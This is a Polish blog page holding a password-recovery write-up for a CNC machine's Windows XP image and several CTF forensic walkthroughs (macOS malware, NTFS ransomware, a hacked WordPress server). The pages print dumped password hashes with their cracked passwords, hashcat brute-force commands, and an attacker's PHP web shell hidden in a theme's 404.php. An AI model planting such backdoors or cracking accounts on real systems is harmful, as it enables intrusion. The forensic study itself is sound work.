Tag: Linux

  • Włam do maszyny CNC

    Włam do maszyny CNC

    Kilka miesięcy temu dostałem obraz dysku giętarki Dynobend z prośbą o uruchomienie go i/lub odzyskanie haseł. Wiedziałem tylko tyle, że zainstalowany na maszynie system to Windows XP.

    Odtwarzanie obrazu

    Początkowym wyzwaniem było samo odtworzenie obrazu dysku. Nie wiedziałem jakim narzędziem była robiona kopia, ale po krótkim researchu doszedłem do wniosku, że było to oprogramowanie Paragonu.

    Zrzut ekranu: Pliki kopii zapasowej dysku maszyny stworzonej oprogramowaniem Paragonu
    Pliki kopii zapasowej dysku maszyny stworzonej oprogramowaniem Paragonu

    Zanim zacząłem odtwarzać kopię, dodałem kolejny dysk wirtualny do maszyny

    Zrzut ekranu: Dodawanie dysku do maszyny wirtualnej o rozmiarze 160 GB
    Dodawanie dysku do maszyny wirtualnej o rozmiarze 160 GB

    Po uzyskaniu dostępu do programu, odtworzyłem kopię jako kopię całego dysku (można też jako kopie poszczególnych woluminów, ale to utrudniłoby uruchomienie systemu).

    Zrzut ekranu: Wybór obrazu dysku z otrzymanej kopii .PBF
    Wybór obrazu dysku z otrzymanej kopii .PBF
    Zrzut ekranu: Wybór dysku docelowego i potwierdzenie rozpoczęcia operacji odtwarzania
    Wybór dysku docelowego i potwierdzenie rozpoczęcia operacji odtwarzania

    Po zakończeniu odtwarzania pojawiły się woluminy w przystawce „Zarządzanie dyskami”

    Zrzut ekranu: Pokazane dyski w maszynie wirtualnej. Widoczny "Dysk 1", na którym została odtworzona kopia zapasowa PBF
    Pokazane dyski w maszynie wirtualnej. Widoczny „Dysk 1”, na którym została odtworzona kopia zapasowa PBF

    Zostało mi tylko stworzyć nową maszynę wirtualną, spróbować uruchomić odtworzony system i trzymać kciuki.

    Walka z bluescreenem

    Windows XP jest zdecydowanie mniej przenośny, niż nowsze wersje systemu od Microsoftu. Oto jak zakończyła się moja pierwsza próba odpalenia systemu:

    Zrzut ekranu: Widoczny BSOD systemu Windows XP
    Widoczny BSOD systemu Windows XP

    Trzymanie kciuków mało co mi dało, jak widać. Na powyższym zrzucie ekranu tego nie widać, ale kod błędu to był sławny

    ☠️ 0x0000007B(INACCESSIBLE BOOT DEVICE) ☠️

    Co oznacza problem z zamontowaniem woluminu systemowego. Streszczę tutaj mój długi proces walki z tym błędem – próbowałem wyłączać różne sterowniki, modyfikować różne wartości w rejestrze, ale nic nie działało.

    Sukces

    W końcu wpadłem na pomysł spróbowania trybu naprawy z angielskiego instalatora Windowsa XP (w polskiej wersji tego nie ma z jakiegoś powodu).

    Zrzut ekranu: Początkowy etap instalatora Windowsa XP
    Początkowy etap instalatora Windowsa XP

    Na tym etapie można wybrać albo czystą instalację (klawisz ESC), albo naprawę. Wskazałem mój odtworzony system i nacisnąłem klawisz R.

    Zrzut ekranu: Pierwszy etap naprawy (pasek instalacyjny)
    Pierwszy etap naprawy

    Naprawa wygląda praktycznie tak samo jak instalacja świeżego systemu, przy czym wiele rzeczy jest zachowane. Pliki, użytkownicy i inne rzeczy zostają nietknięte.

    Po uruchomieniu ponownym system się uruchomił i rozpoczął się kolejny etap naprawy:

    Zrzut ekranu: Proces naprawy, widoczny monit o podanie klucza produktu
    Proces naprawy, widoczny monit o podanie klucza produktu

    Jakoś tak wyszło, że nie miałem klucza Windowsa XP SP3. Na szczęście w sieci dostępne są klucze, które można tutaj wpisać, żeby popchnąć instalację (naprawę) dalej: link do listy na GH.

    Zrzut ekranu: Uruchamianie się naprawionego Windowsa XP
    Uruchamianie się naprawionego Windowsa XP

    Po wpisaniu klucza system uruchomił się ponownie, tym razem bez BSODa! Jednak nie jest to koniec:

    Zrzut ekranu: Ekran logowania, automatycznie uzupełniona nazwa: operator
    Ekran logowania, automatycznie uzupełniona nazwa: operator

    Odzyskiwanie haseł

    Najprościej byłoby usunąć hasła z użytkowników, ale to wiązałoby się z modyfikacją oryginalnego systemu – do którego nie miałem dostępu.

    Uruchomiłem BlackArcha na maszynie i zamontowałem partycję systemową:

    Zrzut ekranu: Zamontowanie partycji systemowej w BlackArchu
    Zamontowanie partycji systemowej w BlackArchu

    Po zamontowaniu partycji zdumpowałem hashe haseł z rejestru przy użyciu narzędzia samdump2.

    Zrzut ekranu: Dumpowanie hashy (samdump2)
    Dumpowanie hashy

    Oto lista z powyższego screenshota, w formie tekstowej :):

    Administrator:500:42008b7e0dfe8456aad3b435b51404ee:8666cdaf3d0337cbbae422f9da6f0f52:::
    Admin:1004:42008b7e0dfe8456aad3b435b51404ee:8666cdaf3d0337cbbae422f9da6f0f52:::
    Operator:1005:7c3abc11eef22af54a3b108f3fa6cb6d:e001d7577b432fe8e745deb408cc8a62:::
    Engineer:1006:5de00f0076f9b0d64a3b108f3fa6cb6d:e907f2dd1d5d1a7f6ed20a5a44a0dd11:::
    Remote:1007:b1293b46ba30174aaad3b435b51404ee:a2fb7f991c8960bdae62b6cb12b87d56:::
    DynoBend:1008:7c3abc11eef22af54a3b108f3fa6cb6d:e001d7577b432fe8e745deb408cc8a62:::

    Wyciąłem wyłączone konta Guest, Support oraz HelpAssistant. Widać, że Guest i Support mają puste hasła (ich hashe odpowiadają pustym ciągom) a hasła HelpAssistant nigdy nie odzyskałem.

    Widać również, że niektóre konta używają tych samych haseł:

    • Administrator i Admin
    • Operator i DynoBend

    Po czym to widać? Te konta mają te same hashe!

    Łamanie hashy przy użyciu CrackStation

    Pierwsze co spróbowałem to wklejenie hashy LM (prostszych do złamania) do online-owych crackerów. Mają one duże bazy danych, które posiadają obliczone hashe różnego typu dla różnych ciągów znaków. Jeżeli hasła były krótkie, to taka baza prawdopodobnie zawiera nasz hash.

    Wpisałem hashe do CrackStation:

    Zrzut ekranu: Hashe wklejone w CrackStation
    Hashe wklejone w CrackStation

    Okazało się, że dwa hasła udało się odzyskać już na tym etapie:

    Zrzut ekranu: Kawałek zwróconej listy CrackStation. Widoczny złamany hash i jeden nie znaleziony.
    Kawałek zwróconej listy CrackStation. Widoczny złamany hash i jeden nie znaleziony.

    Pierwszym hasłem było dla kont Admin i Administrator :P. Hasło składało się wyłącznie z cyfr: „8507730„.

    Drugim hasłem było dla konta „Remote”, które miało unikalne hasło:

    Zrzut ekranu: Widoczna lista dopasowanych hashy LM dla Remote
    Widoczna lista dopasowanych hashy LM dla Remote

    Kolor zielony oznacza dokładnie odwzorowanie. Ale czemu jest ich kilka? Hashe LM są takie same dla różnych kombinacji wielkości liter. Przykładowo, hash dla „abc” jest taki sam jak dla „ABC”.

    Za to, hashe NTLM (które również są w dumpie) już takie nie są. Okazało się, że dla konta Remote nawet odwzorowanie NTLM znajduje się w CrackStation:

    Zrzut ekranu: Rezultat crackowania hasha NTLM dla "Remote". Widoczne dokładnie odwzorowanie
    Rezultat crackowania hasha NTLM dla „Remote”. Widoczne dokładnie odwzorowanie

    Okazało się, że hasło dla „Remote” to… „Remote”.

    Łamanie hashcatem

    W bazie CrackStation nie było hashy dla kont „DynoBend” i „Operator”. Użyłem hashcata do szybkiego sprawdzenia hashy LM dla pozostałych kont:

    Zrzut ekranu: Uruchomienie hashcata
    Uruchomienie hashcata
    hashcat --potfile-disable -m 3000 -a 3 hashe.txt -1 ?l?u ?1?1?1?1?1?1?1

    Gdzie:

    • --potfile-disable – wyłącznie pliku przechowywania rezultatów (w ramach testów i zrobienia SS)
    • -m 3000 – tryb łamania hashy LM
    • -a 3 – tryb bruteforce (kombinacje znaków)
    • -1 ?l?u – zdefiniowanie customowego zestawu znaków (małe i duże litery)
    • ?1?1?1… – maska do bruteforce-a, 7 liter

    Po jakichś dwóch sekundach hashcat znalazł dwa kolejne (niepełne) hasła:

    Zrzut ekranu: Rezultat crackowania hashcatem. Widoczne odwzorowanie DYNOBEN i DNEBONY
    Rezultat crackowania hashcatem

    Więc dwa kolejne hasła zaczynają się od wariancji ciągu „DYNOBEN” i „DNEBONY”.

    Szukanie dokładnych haseł

    Hashe LM z dumpa to tak naprawdę dwa oddzielne hashe. Przykładowo dla konta DynoBend, ciąg LM skopiowany prosto z dumpa:

    7c3abc11eef22af54a3b108f3fa6cb6d

    Powyższy ciąg znaków to dwa hashe LM:

    7c3abc11eef22af5 4a3b108f3fa6cb6d

    Pierwszy podciąg to hash pierwszych 7 liter hasła, a drugi to hash kolejnych 7 liter hasła, więc maksymalna długość hasła dla hashy LM to 14 znaków.

    DynoBend i Operator mają ten sam hash (powyższy), a co z Engineer?:

    7c3abc11eef22af5 4a3b108f3fa6cb6d # DynoBend i Operator
    5de00f0076f9b0d6 4a3b108f3fa6cb6d # Engineer

    Pierwsze podciągi są różne (ale ich odwzorowanie znalazł hashcat). Widać jednak, że drugie podciagi są takie same!

    Oznacza to, że hasła dla tych kont to przykładowo (drugie 7 liter są takie same dla kont):

    DYNOBENxxxx # DynoBend i Operator
    AAAAAAAxxxx # Engineer

    Po wklejeniu drugiego podciągu do CrackStation okazało się, że hash „4a3b108f3fa6cb6d” to najprawdopodobniej hash litery „d”:

    Zrzut ekranu: Rezultat crackowania hasha 4a3b108f3fa6cb6d
    Rezultat crackowania hasha 4a3b108f3fa6cb6d

    Czyli nasze „xxxx” to „d”, a hasła to wariancje „DNEBONYD” oraz „DYNOBEND”.

    Teraz wystarczyło zrobić słownik takich wariancji: DNEBONYD, dnebonyd, Dnebonyd itd. itd.

    Albo po prostu zgadnąć ręcznie w CyberChefie:

    Zrzut ekranu: Ręczny wpis w CyberChefie
    Ręczny wpis w CyberChefie

    Po dodaniu „NT Hash” do receptury i wpisaniu „dnebonyd” (małymi literami), CyberChef wypluł dokładnie taki sam hash NTLM, jaki był w dumpie. Oznacza to, że znalazłem hasło dla użytkownika „Engineer”.

    Podobnie postąpiłem dla DynoBend i Operator: ich hasła to „Dynobend”.

    Próba logowania jako operator

    Zrzut ekranu: Wpisywanie hasła "Dynobend" dla konta "operator"
    Wpisywanie hasła „Dynobend” dla konta „operator”

    Okazało się, że… działa!

    Zrzut ekranu: Ekran po zalogowaniu do systemu jako Operator. Uruchamiająca się aplikacja giętarki
    Ekran po zalogowaniu do systemu jako Operator. Uruchamiająca się aplikacja giętarki

    Podsumowanie

    No i nawet się udało!!

    Po naprawie systemu za pomocą instalatora Windowsa XP, zdumpowałem hashe za pomocą BlackArcha (samdump2) i zcrackowałem je przy użyciu CrackStation oraz hashcata.

  • THM Honeynet Collapse – Zadanie 8

    THM Honeynet Collapse – Zadanie 8

    Ostatnim zadaniem w CTFie Honeynet Collapse było zadanie ósme. Polegało ono na analizie obrazu dysku urządzenia Mac. Użytkownik pobrał i zainstalował pewnego wirusa, a ja musiałem znaleźć informacje na jego temat.

    Pytanie 1. — strona pobierania

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Z jakiej strony internetowej użytkownik pobrał instalator złośliwej aplikacji?

    Pierwsze co przyszło mi na myśl to przejrzenie historii przeglądania Safarii. Pliki tej przeglądarki znajdują się w katalogu ~/Library/Safari (~ oznacza katalog domowy użytkownika). Plik History.db odpowiada za przechowywanie historii przeglądania:

    Po zamontowaniu obrazu dysku przy użyciu apfs-fuse, otworzyłem plik History.db w aplikacji DB Browser for SQLite. W tabeli history_items znalazłem URL z domeną .thm, który był odpowiedzią na pytanie pierwsze:

    id | url                     | domain_expansion  [...]
    [...]
    55 | http://deve*******.thm/ | NULL              [...]
    [...]

    Pytanie 2. — plik instalacyjny

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Jak nazywa się instalator złośliwej aplikacji?

    Najbardziej oczywistym miejscem do sprawdzenia był katalog Downloads, ale tam nie było szukanego instalatora (był za toDocker.dmg, ale to nie ten plik).

    Będąc jeszcze w katalogu z plikami Safarii, przejrzałem zawartość pliku Downloads.plist:

    $ plistutil -i ./Downloads.plist

    W historii pobierania znajdował się jeden wpis:

    [...]
    <date>2025-07-04T10:08:25Z</date>
    <key>DownloadEntryURL</key>
    <string>http://devexxxxxx.thm/Devexxxxxxxxx.pkg</string>
    <key>DownloadEntrySandboxIdentifier</key>
    <string>5E5E49EB-A07C-489C-B6D6-BCE05557044C</string>
    <key>DownloadEntryBookmarkBlob</key>
    [...]

    Odpowiedzią na pytanie drugie było Develxxxxxxxxx.pkg.

    Pytanie 3. — data i czas instalacji

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Kiedy złośliwa aplikacja została zainstalowana w systemie?

    Aby znaleźć czas instalacji pakietu, postanowiłem przeszukać plik install.log, który znajdował się w katalogu /private/var/log.

    Po wyszukaniu w pliku nazwy instalatora znalazłem następujący wpis:

    2025-07-04 xx:yy:zz-07 Lucass-Virtual-Machine installd[709]: Installed "Devexxxxxxxxxx" ()

    Liczba „-07” przy czasie oznacza, że komputer był w strefie czasowej odsuniętej od UTC o siedem godzin. Z tego powodu odpowiedzią na pytanie był data i czas przesunięty o siedem godzin w przyszłość.

    Pytanie 4. — uprawnienia TCC

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Które uprawnienie TCC zostało najpierw zażądane przez aplikację?

    Uprawnienia TCC (Transparency, Consent and Control)pozwalają użytkownikowi na wyraźne przyznawanie aplikacjom dostępu do wrażliwych usług i danych (np. do kamerki, mikrofonu itd.).

    Informacje na temat przydzielonych uprawnień znajdują się w katalogu ~/Library/Application Support/com.apple.TCC/TCC.db (dostępny jest również plik dla całego systemu). Po otwarciu pliku TCC.db w przeglądarce baz danych szybko znalazłem pierwsze żądane uprawnienie:

    Pytanie 5. — pełny adres URL do serwera C2

    • Poziom trudności: trudny 🔴
    • Liczba punktów: 120
    • Treść: Jaki jest pełny adres URL C2, do którego aplikacja przesłała dane?

    We wcześniej analizowanym pliku install.log był widoczny wpis wskazujący ścieżkę instalacji:

    xxxx xxxx Lucass-Virtual-Machine installd[709]: PackageKit: Touched bundle /Applications/Devexxxxxxxx.app

    Po przejściu do katalogu /Applications/Devexxxxxxxx.app wystarczyło zgrepować rekursywnie katalog po frazie „http„:

    Resources/script:LR="http://c7.macos-uxxxxxxxxxxx.info:8080"
    
    grep: Resources/MainMenu.nib/keyedobjects-101300.nib: plik binarny pasuje do wzorca
    grep: Resources/MainMenu.nib/keyedobjects.nib: plik binarny pasuje do wzorca

    Adres http://c7.macos-uxxxxxxxxxxx.info:8080 był odpowiedzią na pytanie piąte.

    Pytanie 6. — pełny adres URL do serwera C2

    • Poziom trudności: bonus 🌟
    • Liczba punktów: 25
    • Treść: Jakiego mechanizmu persistence używała aplikacja?

    W ostatnim zadaniu w całym CTFie trzeba było znaleźć mechanizm, za pomocą którego aplikacja utrzymywała działanie w systemie.

    Pierwszy mechanizm, który przyszedł mi na myśl to LaunchAgent. Na początek sprawdziłem katalog systemowy /System/Library/LaunchAgents, ale w nim był jedynie plik związany z agentem Spice.

    Drugim katalogiem jakim sprawdziłem był katalog ~/Library/LaunchAgents, w którym już jasno było widać plik autostartu złośliwej aplikacji:

    ┌──(bonk㉿bonx)-[~/mac/root]
    └─$ cd Users/lucasrivera/Library/LaunchAgents 
                                                                                                                                                                                                                                                
    ┌──(bonk㉿bonx)-[~/.../Users/lucasrivera/Library/LaunchAgents]
    └─$ ls
    com.developai.agent.plist  DevelopAI.sh

  • THM Honeynet Collapse – Zadanie 7

    THM Honeynet Collapse – Zadanie 7

    Zadanie 7 w CTFie Honeynet Collapse to trudniejsza wersja zadania 6. Było ono bardziej skupione na analizie systemu plików, a nie artefaktów samego Windowsa.

    Tutaj również mieliśmy obraz dysku, tylko że niekompletny. Dostępne były jedynie pliki systemowe NTFS (tablica MFT, pliki dziennika USNJournal itd.).

    Otrzymany obraz to obraz dysku kontrolera domeny po ataku ransomware.

    Pytania 1., 2. i 4. — pobranie ransomware-u

    • Poziom trudności: łatwy 🟢, łatwy 🟢 i średni 🟡
    • Liczba punktów: 30, 30 i 60
    • Treść (1): Jaki jest pełny adres URL, z którego pobrane zostało oprogramowanie ransomware?
    • Treść (2): Jaka była oryginalna nazwa pliku wykonywalnego oprogramowania ransomware pobranego na host?
    • Treść (4): Jakie rozszerzenie pliku zostało dodane do zaszyfrowanych plików?

    Szczerze mówiąc nie byłem pewien jak do tego podejść, ale na szczęście nie miałem zbyt wielu opcji. Wyeksportowałem plik $MFT, który jest tablicą wszystkich plików w systemie NTFS:

    Następnie użyłem narzędzia MFTECmd autorstwa Erica Zimmermana do sparsowania tablicy MFT:

    C:\Users\bonk\Desktop\net9>MFTECmd.exe -f $MFT --csv dc --csvf mft.csv
    MFTECmd version 1.3.0.0
    
    Author: Eric Zimmerman (saericzimmerman@gmail.com)
    https://github.com/EricZimmerman/MFTECmd
    
    Command line: -f $MFT --csv dc --csvf mft.csv
    
    Warning: Administrator privileges not found!
    
    File type: Mft
    
    Processed $MFT in 10,4956 seconds
    
    $MFT: FILE records found: 500 382 (Free records: 235 248) File size: 718,5MB
    Path to dc doesn't exist. Creating...
            CSV output will be saved to dc\mft.csv

    Otworzyłem plik w TimelineExplorerze (również autorstwa Zimmermana) i zacząłem plików mających Downloads w nazwie ścieżki.

    Bardzo szybko znalazłem kilka podejrzanych plików, które miały przypisane metadane dotyczące pochodzenia pliku — a w nim szukany adres URL (odpowiedź na pierwsze pytanie):

    W pobliżu pobranego HiddenFile.zip znajdował się również plik wykonywalny (odpowiedź na drugie pytanie):

    Na tym samym zrzucie ekranu widać również dodawane do zaszyfrowanych plików przez program pięcioliterowe rozszerzenie (złożone z samych liter) — odpowiedź na czwarte pytanie.

    Pytanie 3. — plik szyfrujący

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Który plik wykonywalny zainicjował proces szyfrowania w systemie?

    Znaleziony przeze mnie dwuliterowy plik nie był tym, który zaszyfrował wszystkie pliki. Był jedynie stubem, który pobierał prawdziwe oprogramowanie ransomware.

    Zanotowałem datę i czas ostatniego dostępu do stuba (2025-07-04 11:35:36), usunąłem filtr i posortowałem wszystkie pliki po dacie utworzenia.

    Szukałem utworzonych plików po tym czasie i bardzo szybko znalazłem plik w podejrzanej ścieżce C:\DeceptiFiles\Deployment\Agents, który został utworzony około dziewięć minut po uruchomieniu stuba:

    Nazwa tego pliku była odpowiedzią na pytanie trzecie!

    Pytanie 5. — nazwa grupy ransomware-owej

    • Poziom trudności: trudny 🔴
    • Liczba punktów: 120
    • Treść: Wyjdź poza oczywiste wnioski – która grupa ransomware zaatakowała organizację?

    Zadanie piąte jako jedyne w całym CTFie opierało się na
    OSINT-cie. Miałem znaleźć nazwę grupy odpowiedzialnej za atak ransomware przeprowadzony na analizowanym kontrolerze domen.

    Nie miałem dostępu do plików na dysku, ale pamiętałem, że w opisie zadania autorzy zamieścili ocenzurowaną wersję wiadomości od grupy:

    Postanowiłem, że dalsze przeszukiwanie pliku $MFT nie ma sensu i wklepałem w Google (DuckDuckGo nie zwróciło żadnych wyników) widoczny dopisek do URLa pierwszej strony (f8cef2c0f8fd):

    Jedynym wynikiem był wpis ze strony tria.ge, na której była dostępna nieocenzurowana wersja wiadomości:

    Po wklejeniu adresu bloga w przeglądarkę TOR, otrzymałem odpowiedź na pytanie piąte:

    Pytanie 6. — dodatkowe instrukcje

    • Poziom trudności: bonus 🌟
    • Liczba punktów: 25
    • Treść: Jaka jest nazwa pliku zawierającego dodatkowe instrukcje dotyczące okupu dla ofiary?

    Okazało się, że na dysku znajdował się jeszcze jeden plik z instrukcjami. Na szczęście nie zamknąłem jeszcze wtedy okna TimelineExplorera i po zjechaniu w dół listy o centymetr, znalazłem odpowiedź:

  • THM Honeynet Collapse – Zadanie 3

    THM Honeynet Collapse – Zadanie 3

    W CTFie Honeynet Collapse zadanie 3. to pierwszy, faktyczny zestaw pytań. Polegał on na analizie śladów włamania na maszynie linuxowej. Głównym celem początkowego ataku była instancja WordPressa, dostępna na porcie 80.

    Pytanie 1. — cel brute force-u

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Którą stronę internetową atakujący próbował złamać metodą brute force?

    Z treści wynika, że atakujący próbował brute forcować którąś stronę WordPressa. Ataki brute force są wyjątkowo łatwe do wykrycia a odpowiedzi na to pytanie spodziewałem się w logach serwera Apache (choć od początku przeczuwałem, że chodzi o stronę logowania do panelu administracyjnego).

    Domyślny katalog przechowujący logi Apache to /var/log/apache. Komunikaty dotyczące dostępu do stron znajdują się w access.log.

    root@deceptipot-demo:~# cd /var/log/apache2/
    root@deceptipot-demo:/var/log/apache2# ls
    access.log  error.log  other_vhosts_access.log

    Po odczytaniu tego pliku, moje przypuszczenia bardzo szybko się potwierdziły:

    [...]
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:28 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:28 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    [...]

    Pytanie 2. — backdoor

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Jaka jest bezwzględna ścieżka do pliku PHP z backdoorem?

    Atak brute force przeprowadzony przez atakującego okazał się pomyślny. Z pytania 2. wynika, że do jednego z plików PHP dodał on tylną furtkę, prawdopodobnie w postaci skryptu wykonującego polecenia powłoki (funkcja system).

    Tylko… jak ten plik znaleźć? Skoro i tak mamy otwarty już plik z logami dostępu, to może w nim znajdziemy coś na ten temat. WordPress pozwala na edycję szablonów, w tym plików PHP. W pliku access.log znajduje się zapis jednego żądania POST, które wskazuje na edycję szablonu:

    167.172.41.141 - - [27/Jun/2025:21:31:51 +0000] 
    "POST /wp-admin/admin-ajax.php HTTP/1.1" 
    200 595 
    "http://demo-web.deceptitech.thm/wp-admin/theme-editor.php?file=404.php&theme=blocksy" 
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

    Wygląda na to, że atakujący zmodyfikował plik 404.php, w motywie blocksy. Wystarczy znaleźć ten plik i ewentualnie sprawdzić czy faktycznie zawiera furtkę.

    Instalacja WordPressa znajdowała się w domyślnym katalogu
    /var/www/html (sam WordPress był w podkatalogu wordpress).

    root@deceptipot-demo:/var/www/html/wordpress# ls
    index.php             wp-config-sample.php  wp-login.php
    license.txt           wp-config.php         wp-mail.php
    readme.html           wp-content            wp-settings.php
    wp-activate.php       wp-cron.php           wp-signup.php
    wp-admin              wp-includes           wp-trackback.php
    wp-blog-header.php    wp-links-opml.php     xmlrpc.php
    wp-comments-post.php  wp-load.php

    Nasz motyw blocksy znajduje się w katalogu wp-content/themes/blocksy. Po wyświetleniu plików w tym katalogu, widać również nasz szukany plik 404.php:

    root@deceptipot-demo:/var/www/html/wordpress/wp-content# ls
    index.php  plugins  themes  upgrade  uploads
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content# cd themes
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes# ls
    blocksy    twentytwentyfive  twentytwentythree
    index.php  twentytwentyfour
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes# cd blocksy
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes/blocksy# ls
    404.php        footer.php     package.json    static
    LICENSE        functions.php  page.php        style.css
    admin          gulpfile.js    readme.txt      template-parts
    archive.php    header.php     screenshot.jpg  theme.json
    artifacts      inc            searchform.php  tutor
    changelog.txt  index.php      sidebar.php     woocommerce
    comments.php   languages      single.php      wpml-config.xml
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes/blocksy# 

    Niespodzianka, na końcu pliku 404.php (który swoją drogą ma za zadanie wyświetlać stronę błędu, gdy serwer nie znalazł danego zasobu) znajduje się ten interesujący kawałek kodu:

    if (isset($_GET['doing_wp_corn']) && $_GET['doing_wp_corn'] === "t") {
        echo '<form method="POST" style="width: 500px; max-width: fit-content; margin-left: auto; margin-right: auto;">
                <input type="text" name="cmd" style="width: 300px;">
                <input type="submit" value="Run">
              </form>';
    
        if (isset($_POST['cmd'])) {
            echo '<pre style="width: 500px; margin-left: auto; margin-right: auto; white-space:pre-line;">';
            system($_POST['cmd']);
            echo "</pre>";
        }
    }

    Gdy w żądaniu pojawi się parametr „doing_wp_corn” z wartością „t„, serwer radośnie wykona podane polecenie przekazane w parametrze „cmd” (z uprawnieniami serwera Apache).

    Odpowiedzią na pytanie jest pełna ścieżka do pliku 404.php.

    Pytanie 3. — eskalacja uprawnień

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Który plik umożliwił atakującemu uzyskanie uprawnień roota?

    W poprzednim pytaniu dowiedzieliśmy się, że atakujący uzyskał dostęp do badanego serwera z uprawnieniami serwera WWW. Teraz musimy znaleźć jak udało mu się eskalować te uprawnienia.

    Na serwerze została skonfigurowana usługa auditd, która monitorowała różne procesy zachodzące w trakcie pracy serwera. Logi tej usługi znajdowały się w pliku /var/log/auditd/audit.log.

    Dostępne są narzędzia do przeszukiwania logów auditd, ale zdecydowałem się ręcznie przeszukać plik, ponieważ był stosunkowo mały (226 linii).

    W pewnym momencie zauważyłem, że atakujący odczytał plik
    /etc/ssh/id_ed25519.bak. Przykuło to moją uwagę, ponieważ nie kojarzyłem, żeby domyślna instalacja takowy zawierała:

    type=EXECVE msg=audit(1751062057.449:533): 
    argc=2 a0="cat" a1="/etc/ssh/id_ed25519.bak"

    Użytkownicy korzystający z SSH z pewnością będą wiedzieli, co to za plik — jest to kopia prywatnego klucza SSH. Jeżeli fingerprint odpowiadającego mu klucza publicznego znajduje się w katalogu .ssh użytkownika root, to ktokolwiek posiadający ten klucz będzie w stanie zalogować się jako root do serwera.

    root@deceptipot-demo:~# cat /root/.ssh/authorized_keys 
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ2JTipuTqzOb5nmHURhOuPskuZr/jQvrpuG6QCHmdP emily
    
    root@deceptipot-demo:~# cat /etc/ssh/id_ed25519.pub 
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ2JTipuTqzOb5nmHURhOuPskuZr/jQvrpuG6QCHmdP root@deceptipot-demo

    I tak właśnie było. Administrator najwyraźniej zapomniał zabezpieczyć kopię zapasową swojego klucza SSH.

    Zatem odpowiedzią na pytanie jest ścieżka do tej kopii.

    Pytanie 4. — szukanie wirusa

    • Poziom trudności: trudny 🔴
    • Liczba punktów: 120
    • Treść: Jaki jest hash MD5 wirusa utrzymującego się na hoście?

    Z treści pytania jasno wynika, że atakujący zainstalował jakiegoś rodzaju złośliwe oprogramowanie na analizowanym hoście. Musiałem je znaleźć i podać jego hash MD5 (albo znaleźć sam hash).

    Postanowiłem odczytać dziennik systemowy za pomocą polecenia journalctl. W oczy od razu rzucił mi się komunikat z pewnej usługi:

    Jul 27 10:39:18 deceptipot-demo kworker[1234]: 2025/07/27 10:39:18 client: Retrying in 25.6s...
    Jul 27 10:40:29 deceptipot-demo kworker[1234]: 2025/07/27 10:40:29 client: Connection error: dial tcp 167.172.41.141:10443: i/o timeout (Attempt: 9/unlimited)

    Miałem wrażenie, że już gdzieś widziałem ten adres. Był to adres IP, z którego został przeprowadzony atak brute force z pytania pierwszego. Najwyraźniej ten sam adres był używany jako serwer C2.

    Nie mając wątpliwości, że znalazłem złośliwą usługę (kworker.service), wyświetliłem jej status.

    root@deceptipot-demo:~# systemctl status kworker.service 
    ● kworker.service - Kernel Hard Worker
         Loaded: loaded (/etc/systemd/system/kworker.service; enabled; preset: enabled)
         Active: active (running) since Sun 2025-07-27 10:32:06 UTC; 16min ago
       Main PID: 1234 (kworker)
          Tasks: 7 (limit: 2275)
         Memory: 13.2M (peak: 13.4M)
            CPU: 39ms
         CGroup: /system.slice/kworker.service
                 └─1234 /usr/sbin/kworker
    

    Kernel Hard Worker — bardzo przekonujący opis swoją drogą. Z opisu można wyczytać, że usługa uruchomiła plik /usr/sbin/kworker. Obliczyłem hash MD5 tego pliku i wysłałem jako odpowiedź:

    root@deceptipot-demo:/var/log# md5sum /usr/sbin/kworker 
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  /usr/sbin/kworker

    Pytanie 5. — DeceptiPot (bonus)

    • Poziom trudności: trudny 🌟
    • Liczba punktów: 25
